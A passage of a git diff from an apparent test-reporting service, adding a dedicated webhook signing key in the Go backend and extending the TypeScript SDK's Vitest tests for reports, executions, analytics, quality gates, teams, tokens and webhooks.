*WebhookStore) Create(ctx context.Context, teamID, url, secretHash, signingKey string, events []string) (*model.Webhook, error) { var w model.Webhook err := s.pool.QueryRow(ctx, - `INSERT INTO webhooks (team_id, url, secret_hash, events) - VALUES ($1, $2, $3, $4) - RETURNING id, team_id, url, events, secret_hash, enabled, created_at, updated_at`, - teamID, url, secretHash, events). - Scan(&w.ID, &w.TeamID, &w.URL, &w.Events, &w.SecretHash, &w.Enabled, &w.CreatedAt, &w.UpdatedAt) + `INSERT INTO webhooks (team_id, url, secret_hash, signing_key, events) + VALUES ($1, $2, $3, $4, $5) + RETURNING id, team_id, url, events, secret_hash, signing_key, enabled, created_at, updated_at`, + teamID, url, secretHash, signingKey, events). + Scan(&w.ID, &w.TeamID, &w.URL, &w.Events, &w.SecretHash, &w.SigningKey, &w.Enabled, &w.CreatedAt, &w.UpdatedAt) if err != nil { return nil, fmt.Errorf("create webhook: %w", err) } @@ -75,9 +75,9 @@ func (s *WebhookStore) Update(ctx context.Context, teamID, webhookID, url string err := s.pool.QueryRow(ctx, `UPDATE webhooks SET url = $3, events = $4, enabled = $5, updated_at = now() WHERE id = $1 AND team_id = $2 - RETURNING id, team_id, url, events, secret_hash, enabled, created_at, updated_at`, + RETURNING id, team_id, url, events, secret_hash, signing_key, enabled, created_at, updated_at`, webhookID, teamID, url, events, enabled). - Scan(&w.ID, &w.TeamID, &w.URL, &w.Events, &w.SecretHash, &w.Enabled, &w.CreatedAt, &w.UpdatedAt) + Scan(&w.ID, &w.TeamID, &w.URL, &w.Events, &w.SecretHash, &w.SigningKey, &w.Enabled, &w.CreatedAt, &w.UpdatedAt) if err != nil { return nil, fmt.Errorf("update webhook: %w", err) } @@ -88,7 +88,7 @@ func (s *WebhookStore) Update(ctx context.Context, teamID, webhookID, url string // to the given event type. It implements webhook.WebhookLister. func (s *WebhookStore) ListByTeamAndEvent(ctx context.Context, teamID string, event string) ([]webhook.WebhookRecord, error) { rows, err := s.pool.Query(ctx, - `SELECT id, url, secret_hash + `SELECT id, url, secret_hash, signing_key FROM webhooks WHERE team_id = $1 AND enabled = true AND $2 = ANY(events)`, teamID, event) @@ -100,7 +100,7 @@ func (s *WebhookStore) ListByTeamAndEvent(ctx context.Context, teamID string, ev var result []webhook.WebhookRecord for rows.Next() { var r webhook.WebhookRecord - if err := rows.Scan(&r.ID, &r.URL, &r.SecretHash); err != nil { + if err := rows.Scan(&r.ID, &r.URL, &r.SecretHash, &r.SigningKey); err != nil { return nil, fmt.Errorf("scan webhook record: %w", err) } result = append(result, r) diff --git a/internal/webhook/webhook.go b/internal/webhook/webhook.go index 4034de69..ce8cf54f 100644 --- a/internal/webhook/webhook.go +++ b/internal/webhook/webhook.go @@ -175,6 +175,17 @@ type WebhookRecord struct { ID string URL string SecretHash string + SigningKey string +} + +// SigningSecret returns the signing key if set, otherwise falls back to the +// secret hash. This provides a migration path from secret-hash-based signing +// to dedicated signing keys. +func (r WebhookRecord) SigningSecret() string { + if r.SigningKey != "" { + return r.SigningKey + } + return r.SecretHash } // Notifier looks up matching webhooks and dispatches payloads asynchronously. @@ -243,7 +254,7 @@ func (n *Notifier) Notify(teamID string, event EventType, data interface{}) { dCtx, dCancel := context.WithTimeout(context.Background(), 30*time.Second) defer dCancel() start := time.Now() - delivery, err := n.dispatcher.Send(dCtx, h.URL, h.SecretHash, payload) + delivery, err := n.dispatcher.Send(dCtx, h.URL, h.SigningSecret(), payload) durationMs := int(time.Since(start).Milliseconds()) if err != nil { log.Warn().Err(err). diff --git a/sdk/src/index.test.ts b/sdk/src/index.test.ts index bbb7f983..24ba3e19 100644 --- a/sdk/src/index.test.ts +++ b/sdk/src/index.test.ts @@ -1,5 +1,5 @@ import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'; -import { ScaledTestClient, ScaledTestError } from './index'; +import { ScaledTestClient, ScaledTestError, ErrorCluster, DurationBucket, AuditLog, Shard, WebhookDelivery, TestDurationHistory, QualityGateEvaluation, EvaluateQualityGateResponse, QualityGateRuleResult, QualityGateEvalRuleResult, QualityGateRule, Invitation, TeamToken, AdminUser, TrendPoint, FlakyTest, Report, CompareReport, Execution, ExecutionStatus, UpdateExecutionStatus, TestResultStatus, WorkerStatus, UploadReportResponse, CreateExecutionResponse, Team, TeamWithRole, ReportTriageResult, WebhookEventType } from './index'; // ── Helpers ────────────────────────────────────────────────────────────────── @@ -140,6 +140,47 @@ describe('error handling', () => { }); }); +// ── Query parameter support ────────────────────────────────────────────────── + +describe('query parameter support', () => { + it('appends query parameters to GET requests', async () => { + const fetchMock = mockFetchOk({ reports: [], total: 0 }); + globalThis.fetch = fetchMock; + const client = makeClient(); + + await client.getReports({ limit: 10, offset: 20, since: '2024-01-01T00:00:00Z' }); + + const url = fetchMock.mock.calls[0][0] as string; + expect(url).toContain('limit=10'); + expect(url).toContain('offset=20'); + expect(url).toContain('since=2024-01-01T00%3A00%3A00Z'); + }); + + it('omits undefined query parameters', async () => { + const fetchMock = mockFetchOk({ reports: [], total: 0 }); + globalThis.fetch = fetchMock; + const client = makeClient(); + + await client.getReports({ limit: 10 }); + + const url = fetchMock.mock.calls[0][0] as string; + expect(url).toContain('limit=10'); + expect(url).not.toContain('offset='); + expect(url).not.toContain('since='); + }); + + it('sends request without parameters when none provided', async () => { + const fetchMock = mockFetchOk({ reports: [], total: 0 }); + globalThis.fetch = fetchMock; + const client = makeClient(); + + await client.getReports(); + + const url = fetchMock.mock.calls[0][0] as string; + expect(url).toBe(`${BASE}/api/v1/reports`); + }); +}); + // ── Reports ────────────────────────────────────────────────────────────────── describe('reports', () => { @@ -164,6 +205,64 @@ describe('reports', () => { expect(body.results.tool.name).toBe('jest'); }); + it('uploadReport includes environment and filePath and retry fields', async () => { + const fetchMock = mockFetchOk({ id: 'r-1' }); + globalThis.fetch = fetchMock; + const client = makeClient(); + + const report = { + results: { + tool: { name: 'jest' }, + environment: { OS: 'linux', nodeVersion: '18' }, + summary: { tests: 1, passed: 1, failed: 0, skipped: 0, pending: 0, other: 0, start: 0, stop: 1 }, + tests: [{ name: 't1', status: 'passed' as const, duration: 10, retry: 1, filePath: 'src/test.spec.ts' }], + }, + }; + await client.uploadReport(report as any); + + const body = JSON.parse((fetchMock.mock.calls[0][1] as RequestInit).body as string); + expect(body.results.environment).toEqual({ OS: 'linux', nodeVersion: '18' }); + expect(body.results.tests[0].retry).toBe(1); + expect(body.results.tests[0].filePath).toBe('src/test.spec.ts'); + }); + + it('uploadReport sends execution_id and triage_github_status query params', async () => { + const fetchMock = mockFetchOk({ id: 'r-1' }); + globalThis.fetch = fetchMock; + const client = makeClient(); + + const report = { + results: { + tool: { name: 'jest' }, + summary: { tests: 1, passed: 1, failed: 0, skipped: 0, pending: 0, other: 0, start: 0, stop: 1 }, + tests: [{ name: 't1', status: 'passed' as const, duration: 10 }], + }, + }; + await client.uploadReport(report, { execution_id: 'e-1', triage_github_status: true }); + + const url = fetchMock.mock.calls[0][0] as string; + expect(url).toContain('execution_id=e-1'); + expect(url).toContain('triage_github_status=true'); + }); + + it('uploadReport without params sends clean URL', async () => { + const fetchMock = mockFetchOk({ id: 'r-1' }); + globalThis.fetch = fetchMock; + const client = makeClient(); + + const report = { + results: { + tool: { name: 'jest' }, + summary: { tests: 1, passed: 1, failed: 0, skipped: 0, pending: 0, other: 0, start: 0, stop: 1 }, + tests: [{ name: 't1', status: 'passed' as const, duration: 10 }], + }, + }; + await client.uploadReport(report); + + const url = fetchMock.mock.calls[0][0] as string; + expect(url).toBe(`${BASE}/api/v1/reports`); + }); + it('getReports sends GET /api/v1/reports', async () => { const fetchMock = mockFetchOk({ reports: [], total: 0 }); globalThis.fetch = fetchMock; @@ -175,6 +274,19 @@ describe('reports', () => { expect((init as RequestInit).method).toBe('GET'); }); + it('getReports supports pagination params', async () => { + const fetchMock = mockFetchOk({ reports: [], total: 0 }); + globalThis.fetch = fetchMock; + const client = makeClient(); + await client.getReports({ limit: 5, offset: 10, since: '2024-01-01T00:00:00Z', until: '2024-12-31T23:59:59Z' }); + + const url = fetchMock.mock.calls[0][0] as string; + expect(url).toContain('limit=5'); + expect(url).toContain('offset=10'); + expect(url).toContain('since='); + expect(url).toContain('until='); + }); + it('getReport sends GET /api/v1/reports/{id}', async () => { const fetchMock = mockFetchOk({ id: 'r-1' }); globalThis.fetch = fetchMock; @@ -215,6 +327,86 @@ describe('reports', () => { expect(fetchMock.mock.calls[0][0]).toBe(`${BASE}/api/v1/reports/a%2Fb`); }); + + it('compareReports sends GET /api/v1/reports/compare with query params', async () => { + const fetchMock = mockFetchOk({ base: {}, head: {}, diff: {} }); + globalThis.fetch = fetchMock; + const client = makeClient(); + await client.compareReports('base-id', 'head-id'); + + const [url, init] = fetchMock.mock.calls[0]; + expect(url).toContain('/api/v1/reports/compare'); + expect(url).toContain('base=base-id'); + expect(url).toContain('head=head-id'); + expect((init as RequestInit).method).toBe('GET'); + }); + + it('compareReports encodes special characters in IDs', async () => { + const fetchMock = mockFetchOk({ base: {}, head: {}, diff: {} }); + globalThis.fetch = fetchMock; + const client = makeClient(); + await client.compareReports('a/b', 'c/d'); + + const url = fetchMock.mock.calls[0][0] as string; + expect(url).toContain('base=a%2Fb'); + expect(url).toContain('head=c%2Fd'); + }); + + it('compareReports returns CompareReport without name and with optional tool_name', async () => { + const baseReport: CompareReport = { + id: 'r-base', + team_id: 'team-1', + summary: { tests: 10, passed: 8, failed: 2 }, + created_at: '2024-01-01T00:00:00Z', + }; + const headReport: CompareReport = { + id: 'r-head', + team_id: 'team-1', + tool_name: 'jest', + summary: { tests: 10, passed: 10, failed: 0 }, + created_at: '2024-01-02T00:00:00Z', + }; + const fetchMock = mockFetchOk({ + base: baseReport, + head: headReport, + diff: { + new_failures: [], + fixed: [{ name: 'test-a', head_status: 'passed', base_status: 'failed' }], + duration_regressions: [], + summary: { base_tests: 10, head_tests: 10, new_failures: 0, fixed: 1, duration_regressions: 0 }, + }, + }); + globalThis.fetch = fetchMock; + const client = makeClient(); + const result = await client.compareReports('r-base', 'r-head'); + + expect(result.base.id).toBe('r-base'); + expect(result.head.id).toBe('r-head'); + expect('name' in result.base).toBe(false); + expect(result.head.tool_name).toBe('jest'); + expect(result.diff.fixed!.length).toBe(1); + }); + + it('getReportTriage sends GET /api/v1/reports/{id}/triage', async () => { + const fetchMock = mockFetchOk({ triage_status: 'completed', clusters: [] }); + globalThis.fetch = fetchMock; + const client = makeClient(); + await client.getReportTriage('r-1'); + + const url = fetchMock.mock.calls[0][0] as string; + expect(url).toBe(`${BASE}/api/v1/reports/r-1/triage`); + }); + + it('retryReportTriage sends POST /api/v1/reports/{id}/triage/retry', async () => { + const fetchMock = mockFetchOk({ triage_status: 'pending' }); + globalThis.fetch = fetchMock; + const client = makeClient(); + await client.retryReportTriage('r-1'); + + const [url, init] = fetchMock.mock.calls[0]; + expect(url).toBe(`${BASE}/api/v1/reports/r-1/triage/retry`); + expect((init as RequestInit).method).toBe('POST'); + }); }); // ── Executions ─────────────────────────────────────────────────────────────── @@ -231,38 +423,161 @@ describe('executions', () => { expect((init as RequestInit).method).toBe('GET'); }); + it('getExecutions supports pagination params', async () => { + const fetchMock = mockFetchOk({ executions: [], total: 0 }); + globalThis.fetch = fetchMock; + const client = makeClient(); + await client.getExecutions({ limit: 10, offset: 5 }); + + const url = fetchMock.mock.calls[0][0] as string; + expect(url).toContain('limit=10'); + expect(url).toContain('offset=5'); + }); + it('createExecution sends POST /api/v1/executions with command body', async () => { const fetchMock = mockFetchOk({ id: 'e-1', command: 'npm test', status: 'pending' }); globalThis.fetch = fetchMock; const client = makeClient(); - await client.createExecution('npm test'); + const result = await client.createExecution('npm test'); const [url, init] = fetchMock.mock.calls[0]; expect(url).toBe(`${BASE}/api/v1/executions`); expect((init as RequestInit).method).toBe('POST'); expect(JSON.parse((init as RequestInit).body as string)).toEqual({ command: 'npm test' }); + expect(result.id).toBe('e-1'); + expect(result.status).toBe('pending'); }); - it('cancelExecution sends DELETE /api/v1/executions/{id}', async () => { - const fetchMock = mockFetchOk({}); + it('createExecution includes image and env_vars when provided', async () => { + const fetchMock = mockFetchOk({ id: 'e-1', command: 'npm test', status: 'pending' }); + globalThis.fetch = fetchMock; + const client = makeClient(); + await client.createExecution('npm test', { image: 'node:18', env_vars: { NODE_ENV: 'test' } }); + + const body = JSON.parse((fetchMock.mock.calls[0][1] as RequestInit).body as string); + expect(body.command).toBe('npm test'); + expect(body.image).toBe('node:18'); + expect(body.env_vars).toEqual({ NODE_ENV: 'test' }); + }); + + it('createExecution omits image and env_vars when not provided', async () => { + const fetchMock = mockFetchOk({ id: 'e-1', command: 'npm test', status: 'pending' }); + globalThis.fetch = fetchMock; + const client = makeClient(); + await client.createExecution('npm test'); + + const body = JSON.parse((fetchMock.mock.calls[0][1] as RequestInit).body as string); + expect(body.command).toBe('npm test'); + expect('image' in body).toBe(false); + expect('env_vars' in body).toBe(false); + }); + + it('getExecution sends GET /api/v1/executions/{id}', async () => { + const fetchMock = mockFetchOk({ id: 'e-1', command: 'npm test', status: 'running' }); + globalThis.fetch = fetchMock; + const client = makeClient(); + const result = await client.getExecution('e-1'); + + const [url, init] = fetchMock.mock.calls[0]; + expect(url).toBe(`${BASE}/api/v1/executions/e-1`); + expect((init as RequestInit).method).toBe('GET'); + expect(result.id).toBe('e-1'); + }); + + it('cancelExecution sends DELETE /api/v1/executions/{id} and returns {id, status}', async () => { + const fetchMock = mockFetchOk({ id: 'e-1', status: 'cancelled' }); globalThis.fetch = fetchMock; const client = makeClient(); - await client.cancelExecution('e-1'); + const result = await client.cancelExecution('e-1'); const [url, init] = fetchMock.mock.calls[0]; expect(url).toBe(`${BASE}/api/v1/executions/e-1`); expect((init as RequestInit).method).toBe('DELETE'); + expect(result.id).toBe('e-1'); + expect(result.status).toBe('cancelled'); }); - it('deleteExecution sends DELETE /api/v1/executions/{id}', async () => { - const fetchMock = mockFetchOk({}); + it('deleteExecution sends DELETE /api/v1/executions/{id} and returns {id, status}', async () => { + const fetchMock = mockFetchOk({ id: 'e-1', status: 'cancelled' }); globalThis.fetch = fetchMock; const client = makeClient(); - await client.deleteExecution('e-1'); + const result = await client.deleteExecution('e-1'); const [url, init] = fetchMock.mock.calls[0]; expect(url).toBe(`${BASE}/api/v1/executions/e-1`); expect((init as RequestInit).method).toBe('DELETE'); + expect(result.id).toBe('e-1'); + expect(result.status).toBe('cancelled'); + }); + + it('updateExecutionStatus accepts UpdateExecutionStatus values (excludes pending)', async () => { + const fetchMock = mockFetchOk({ id: 'e-1', status: 'running' }); + globalThis.fetch = fetchMock; + const client = makeClient(); + const result = await client.updateExecutionStatus('e-1', 'running'); + + const [url, init] = fetchMock.mock.calls[0]; + expect(url).toBe(`${BASE}/api/v1/executions/e-1/status`); + expect((init as RequestInit).method).toBe('PUT'); + const body = JSON.parse((init as RequestInit).body as string); + expect(body.status).toBe('running'); + expect(body.error_msg).toBeUndefined(); + expect(result.id).toBe('e-1'); + }); + + it('updateExecutionStatus includes error_msg when provided', async () => { + const fetchMock = mockFetchOk({ id: 'e-1', status: 'failed' }); + globalThis.fetch = fetchMock; + const client = makeClient(); + await client.updateExecutionStatus('e-1', 'failed', 'something went wrong'); + + const body = JSON.parse((fetchMock.mock.calls[0][1] as RequestInit).body as string); + expect(body.error_msg).toBe('something went wrong'); + }); + + it('reportExecutionProgress sends POST /api/v1/executions/{id}/progress', async () => { + const fetchMock = mockFetchOk({ execution_id: 'e-1', received: true }); + globalThis.fetch = fetchMock; + const client = makeClient(); + const result = await client.reportExecutionProgress('e-1', { passed: 5, failed: 1, skipped: 0, total: 10 }); + + const [url, init] = fetchMock.mock.calls[0]; + expect(url).toBe(`${BASE}/api/v1/executions/e-1/progress`); + expect((init as RequestInit).method).toBe('POST'); + const body = JSON.parse((init as RequestInit).body as string); + expect(body.passed).toBe(5); + expect(body.total).toBe(10); + expect(result.received).toBe(true); + }); + + it('reportTestResult accepts TestResultStatus values', async () => { + const fetchMock = mockFetchOk({ execution_id: 'e-1', received: true }); + globalThis.fetch = fetchMock; + const client = makeClient(); + const result = await client.reportTestResult('e-1', { name: 'test-a', status: 'passed' }); + + const [url, init] = fetchMock.mock.calls[0]; + expect(url).toBe(`${BASE}/api/v1/executions/e-1/test-result`); + expect((init as RequestInit).method).toBe('POST'); + const body = JSON.parse((init as RequestInit).body as string); + expect(body.name).toBe('test-a'); + expect(body.status).toBe('passed'); + expect(result.received).toBe(true); + }); + + it('reportWorkerStatus accepts WorkerStatus values', async () => { + const fetchMock = mockFetchOk({ execution_id: 'e-1', received: true }); + globalThis.fetch = fetchMock; + const client = makeClient(); + const result = await client.reportWorkerStatus('e-1', { worker_id: 'w-1', status: 'running' }); + + const [url, init] = fetchMock.mock.calls[0]; + expect(url).toBe(`${BASE}/api/v1/executions/e-1/worker-status`); + expect((init as RequestInit).method).toBe('POST'); + const body = JSON.parse((init as RequestInit).body as string); + expect(body.worker_id).toBe('w-1'); + expect(body.status).toBe('running'); + expect(result.received).toBe(true); }); }); @@ -270,21 +585,47 @@ describe('executions', () => { describe('analytics', () => { it('getTrends sends GET /api/v1/analytics/trends', async () => { - const fetchMock = mockFetchOk([]); + const fetchMock = mockFetchOk({ trends: [] }); globalThis.fetch = fetchMock; const client = makeClient(); - await client.getTrends(); + const result = await client.getTrends(); expect(fetchMock.mock.calls[0][0]).toBe(`${BASE}/api/v1/analytics/trends`); + expect(result.trends).toEqual([]); + }); + + it('getTrends passes start, end, group_by query params', async () => { + const fetchMock = mockFetchOk({ trends: [] }); + globalThis.fetch = fetchMock; + const client = makeClient(); + await client.getTrends({ start: '2024-01-01T00:00:00Z', end: '2024-12-31T23:59:59Z', group_by: 'week' }); + + const url = fetchMock.mock.calls[0][0] as string; + expect(url).toContain('start=2024-01-01T00%3A00%3A00Z'); + expect(url).toContain('end=2024-12-31T23%3A59%3A59Z'); + expect(url).toContain('group_by=week'); }); it('getFlakyTests sends GET /api/v1/analytics/flaky-tests', async () => { - const fetchMock = mockFetchOk([]); + const fetchMock = mockFetchOk({ flaky_tests: [] }); globalThis.fetch = fetchMock; const client = makeClient(); - await client.getFlakyTests(); + const result = await client.getFlakyTests(); expect(fetchMock.mock.calls[0][0]).toBe(`${BASE}/api/v1/analytics/flaky-tests`); + expect(result.flaky_tests).toEqual([]); + }); + + it('getFlakyTests passes window_days, min_runs, limit query params', async () => { + const fetchMock = mockFetchOk({ flaky_tests: [] }); + globalThis.fetch = fetchMock; + const client = makeClient(); + await client.getFlakyTests({ window_days: 14, min_runs: 3, limit: 10 }); + + const url = fetchMock.mock.calls[0][0] as string; + expect(url).toContain('window_days=14'); + expect(url).toContain('min_runs=3'); + expect(url).toContain('limit=10'); }); it('getErrorAnalysis sends GET /api/v1/analytics/error-analysis', async () => { @@ -296,6 +637,18 @@ describe('analytics', () => { expect(fetchMock.mock.calls[0][0]).toBe(`${BASE}/api/v1/analytics/error-analysis`); }); + it('getErrorAnalysis passes start, end, limit query params', async () => { + const fetchMock = mockFetchOk({ errors: [] }); + globalThis.fetch = fetchMock; + const client = makeClient(); + await client.getErrorAnalysis({ start: '2024-01-01T00:00:00Z', end: '2024-06-30T23:59:59Z', limit: 5 }); + + const url = fetchMock.mock.calls[0][0] as string; + expect(url).toContain('start=2024-01-01T00%3A00%3A00Z'); + expect(url).toContain('end=2024-06-30T23%3A59%3A59Z'); + expect(url).toContain('limit=5'); + }); + it('getDurationDistribution sends GET /api/v1/analytics/duration-distribution', async () => { const fetchMock = mockFetchOk({}); globalThis.fetch = fetchMock; @@ -304,6 +657,17 @@ describe('analytics', () => { expect(fetchMock.mock.calls[0][0]).toBe(`${BASE}/api/v1/analytics/duration-distribution`); }); + + it('getDurationDistribution passes start, end query params', async () => { + const fetchMock = mockFetchOk({ distribution: [] }); + globalThis.fetch = fetchMock; + const client = makeClient(); + await client.getDurationDistribution({ start: '2024-01-01T00:00:00Z', end: '2024-12-31T23:59:59Z' }); + + const url = fetchMock.mock.calls[0][0] as string; + expect(url).toContain('start=2024-01-01T00%3A00%3A00Z'); + expect(url).toContain('end=2024-12-31T23%3A59%3A59Z'); + }); }); // ── Quality Gates (team-scoped) ────────────────────────────────────────────── @@ -330,6 +694,18 @@ describe('quality gates', () => { expect((init as RequestInit).method).toBe('POST'); const body = JSON.parse((init as RequestInit).body as string); expect(body).toEqual({ name: 'prod-gate', rules }); + expect(body).not.toHaveProperty('description'); + }); + + it('createQualityGate includes description when provided', async () => { + const rules = [{ type: 'pass_rate', params: { threshold: 95 } }]; + const fetchMock = mockFetchOk({ id: 'qg-1', name: 'prod-gate', rules }); + globalThis.fetch = fetchMock; + const client = makeClient(); + await client.createQualityGate('team-1', 'prod-gate', rules, 'A description'); + + const body = JSON.parse((fetchMock.mock.calls[0][1] as RequestInit).body as string); + expect(body.description).toBe('A description'); }); it('getQualityGate sends GET /api/v1/teams/{teamId}/quality-gates/{id}', async () => { @@ -361,8 +737,8 @@ describe('quality gates', () => { expect(body.enabled).toBe(true); }); - it('updateQualityGate omits optional fields when not provided', async () => { - const rules = [{ type: 'zero_failures' }]; + it('updateQualityGate omits description when not provided', async () => { + const rules = [{ type: 'zero_failures', params: null }]; const fetchMock = mockFetchOk({ id: 'qg-1', name: 'gate', rules }); globalThis.fetch = fetchMock; const client = makeClient(); @@ -375,11 +751,26 @@ describe('quality gates', () => { expect('enabled' in body).toBe(false); }); + it('updateQualityGate omits enabled when not provided', async () => { + const rules = [{ type: 'pass_rate', params: { threshold: 90 } }]; + const fetchMock = mockFetchOk({ id: 'qg-1', name: 'updated', rules }); + globalThis.fetch = fetchMock; + const client = makeClient(); + await client.updateQualityGate('team-1', 'qg-1', 'updated', rules, 'a desc'); + + const body = JSON.parse((fetchMock.mock.calls[0][1] as RequestInit).body as string); + expect(body.name).toBe('updated'); + expect(body.rules).toEqual(rules); + expect(body.description).toBe('a desc'); + expect('enabled' in body).toBe(false); + }); + it('deleteQualityGate sends DELETE /api/v1/teams/{teamId}/quality-gates/{id}', async () => { const fetchMock = mockFetchOk({ message: 'quality gate deleted' }); globalThis.fetch = fetchMock; const client = makeClient(); - await client.deleteQualityGate('team-1', 'qg-1'); + const result = await client.deleteQualityGate('team-1', 'qg-1'); + expect(result.message).toBe('quality gate deleted'); const [url, init] = fetchMock.mock.calls[0]; expect(url).toBe(`${BASE}/api/v1/teams/team-1/quality-gates/qg-1`); @@ -397,24 +788,37 @@ describe('quality gates', () => { expect((init as RequestInit).method).toBe('GET'); }); - it('quality gate single-gate methods encode teamId and gateId', async () => { - const fetchMock = mockFetchOk({ id: 'qg-1', name: 'g', rules: [], enabled: true, created_at: '', updated_at: '' }); + it('listEvaluations supports limit param', async () => { + const fetchMock = mockFetchOk({ evaluations: [], total: 0 }); globalThis.fetch = fetchMock; const client = makeClient(); - await client.getQualityGate('team/special', 'gate/special'); + await client.listEvaluations('team-1', 'qg-1', 50); - expect(fetchMock.mock.calls[0][0]).toBe(`${BASE}/api/v1/teams/team%2Fspecial/quality-gates/gate%2Fspecial`); + const url = fetchMock.mock.calls[0][0] as string; + expect(url).toContain('limit=50'); }); - it('evaluateQualityGate sends POST /api/v1/teams/{teamId}/quality-gates/{id}/evaluate', async () => { - const fetchMock = mockFetchOk({ id: 'eval-1', passed: true }); + it('evaluateQualityGate sends POST with report_id in body', async () => { + const fetchMock = mockFetchOk({ id: 'eval-1', gate_id: 'qg-1', report_id: 'report-1', passed: true, rules: [] }); globalThis.fetch = fetchMock; const client = makeClient(); - await client.evaluateQualityGate('team-1', 'qg-1'); + const result = await client.evaluateQualityGate('team-1', 'qg-1', 'report-1'); const [url, init] = fetchMock.mock.calls[0]; expect(url).toBe(`${BASE}/api/v1/teams/team-1/quality-gates/qg-1/evaluate`); expect((init as RequestInit).method).toBe('POST'); + const body = JSON.parse((init as RequestInit).body as string); + expect(body.report_id).toBe('report-1'); + expect(result.rules).toEqual([]); + }); + + it('quality gate single-gate methods encode teamId and gateId', async () => { + const fetchMock = mockFetchOk({ id: 'qg-1', name: 'g', rules: [], enabled: true, created_at: '', updated_at: '' }); + globalThis.fetch = fetchMock; + const client = makeClient(); + await client.getQualityGate('team/special', 'gate/special'); + + expect(fetchMock.mock.calls[0][0]).toBe(`${BASE}/api/v1/teams/team%2Fspecial/quality-gates/gate%2Fspecial`); }); it('quality gate methods encode teamId and gateId', async () => { @@ -450,20 +854,426 @@ describe('teams', () => { expect((init as RequestInit).method).toBe('POST'); expect(JSON.parse((init as RequestInit).body as string)).toEqual({ name: 'my-team' }); }); -}); -// ── User profile ───────────────────────────────────────────────────────────── - -describe('user profile', () => { - it('getMe sends GET /api/v1/auth/me', async () => { - const profile = { id: 'u-1', email: 'a@b.com', display_name: 'Alice', role: 'member' }; - const fetchMock = mockFetchOk(profile); + it('getTeam sends GET /api/v1/teams/{id}', async () => { + const fetchMock = mockFetchOk({ team: { id: 't-1', name: 'my-team' }, role: 'owner' }); globalThis.fetch = fetchMock; const client = makeClient(); - const result = await client.getMe(); + const result = await client.getTeam('t-1'); const [url, init] = fetchMock.mock.calls[0]; - expect(url).toBe(`${BASE}/api/v1/auth/me`); + expect(url).toBe(`${BASE}/api/v1/teams/t-1`); + expect((init as RequestInit).method).toBe('GET'); + expect(result.role).toBe('owner'); + }); + + it('getTeam encodes special characters in id', async () => { + const fetchMock = mockFetchOk({ team: { id: 'a/b' }, role: 'member' }); + globalThis.fetch = fetchMock; + const client = makeClient(); + await client.getTeam('a/b'); + + expect(fetchMock.mock.calls[0][0]).toBe(`${BASE}/api/v1/teams/a%2Fb`); + }); + + it('deleteTeam sends DELETE /api/v1/teams/{id}', async () => { + const fetchMock = mockFetchOk({ message: 'team deleted' }); + globalThis.fetch = fetchMock; + const client = makeClient(); + const result = await client.deleteTeam('t-1'); + + const [url, init] = fetchMock.mock.calls[0]; + expect(url).toBe(`${BASE}/api/v1/teams/t-1`); + expect((init as RequestInit).method).toBe('DELETE'); + expect(result.message).toBe('team deleted'); + }); + + it('listTokens sends GET /api/v1/teams/{teamId}/tokens', async () => { + const fetchMock = mockFetchOk({ tokens: [] }); + globalThis.fetch = fetchMock; + const client = makeClient(); + await client.listTokens('team-1'); + + const [url, init] = fetchMock.mock.calls[0]; + expect(url).toBe(`${BASE}/api/v1/teams/team-1/tokens`); + expect((init as RequestInit).method).toBe('GET'); + }); + + it('createToken sends POST /api/v1/teams/{teamId}/tokens', async () => { + const fetchMock = mockFetchOk({ token: 'sct_xxx', id: 'tok-1', name: 'ci', prefix: 'sct_', created_at: '' }); + globalThis.fetch = fetchMock; + const client = makeClient(); + await client.createToken('team-1', 'ci'); + + const [url, init] = fetchMock.mock.calls[0]; + expect(url).toBe(`${BASE}/api/v1/teams/team-1/tokens`); + expect((init as RequestInit).method).toBe('POST'); + expect(JSON.parse((init as RequestInit).body as string)).toEqual({ name: 'ci' }); + }); + + it('deleteToken sends DELETE /api/v1/teams/{teamId}/tokens/{tokenId}', async () => { + const fetchMock = mockFetchOk({ message: 'token revoked' }); + globalThis.fetch = fetchMock; + const client = makeClient(); + await client.deleteToken('team-1', 'tok-1'); + + const [url, init] = fetchMock.mock.calls[0]; + expect(url).toBe(`${BASE}/api/v1/teams/team-1/tokens/tok-1`); + expect((init as RequestInit).method).toBe('DELETE'); + }); +}); + +// ── Webhooks ───────────────────────────────────────────────────────────────── + +describe('webhooks', () => { + it('listWebhooks sends GET /api/v1/teams/{teamId}/webhooks', async () => { + const fetchMock = mockFetchOk({ webhooks: [], total: 0 }); + globalThis.fetch = fetchMock; + const client = makeClient(); + await client.listWebhooks('team-1'); + + const [url, init] = fetchMock.mock.calls[0]; + expect(url).toBe(`${BASE}/api/v1/teams/team-1/webhooks`); + expect((init as RequestInit).method).toBe('GET'); + }); + + it('createWebhook sends POST /api/v1/teams/{teamId}/webhooks', async () => { + const fetchMock = mockFetchOk({ webhook: { id: 'wh-1', url: 'https://example.com', events: ['report.submitted'] }, secret: 'whsec_xxx' }); + globalThis.fetch = fetchMock; + const client = makeClient(); + const result = await client.createWebhook('team-1', 'https://example.com', ['report.submitted']); + + const [url, init] = fetchMock.mock.calls[0]; + expect(url).toBe(`${BASE}/api/v1/teams/team-1/webhooks`); + expect((init as RequestInit).method).toBe('POST'); + const body = JSON.parse((init as RequestInit).body as string); + expect(body).toEqual({ url: 'https://example.com', events: ['report.submitted'] }); + expect(result.secret).toBe('whsec_xxx'); + }); + + it('getWebhook sends GET /api/v1/teams/{teamId}/webhooks/{webhookId}', async () => { + const fetchMock = mockFetchOk({ id: 'wh-1', url: 'https://example.com' }); + globalThis.fetch = fetchMock; + const client = makeClient(); + await client.getWebhook('team-1', 'wh-1'); + + const [url, init] = fetchMock.mock.calls[0]; + expect(url).toBe(`${BASE}/api/v1/teams/team-1/webhooks/wh-1`); + expect((init as RequestInit).method).toBe('GET'); + }); + + it('updateWebhook sends PUT /api/v1/teams/{teamId}/webhooks/{webhookId} with enabled', async () => { + const fetchMock = mockFetchOk({ id: 'wh-1', url: 'https://new.example.com' }); + globalThis.fetch = fetchMock; + const client = makeClient(); + await client.updateWebhook('team-1', 'wh-1', 'https://new.example.com', ['report.submitted'], true); + + const [url, init] = fetchMock.mock.calls[0]; + expect(url).toBe(`${BASE}/api/v1/teams/team-1/webhooks/wh-1`); + expect((init as RequestInit).method).toBe('PUT'); + const body = JSON.parse((init as RequestInit).body as string); + expect(body.url).toBe('https://new.example.com'); + expect(body.events).toEqual(['report.submitted']); + expect(body.enabled).toBe(true); + }); + + it('updateWebhook omits enabled when not provided (server defaults to true)', async () => { + const fetchMock = mockFetchOk({ id: 'wh-1', url: 'https://new.example.com' }); + globalThis.fetch = fetchMock; + const client = makeClient(); + await 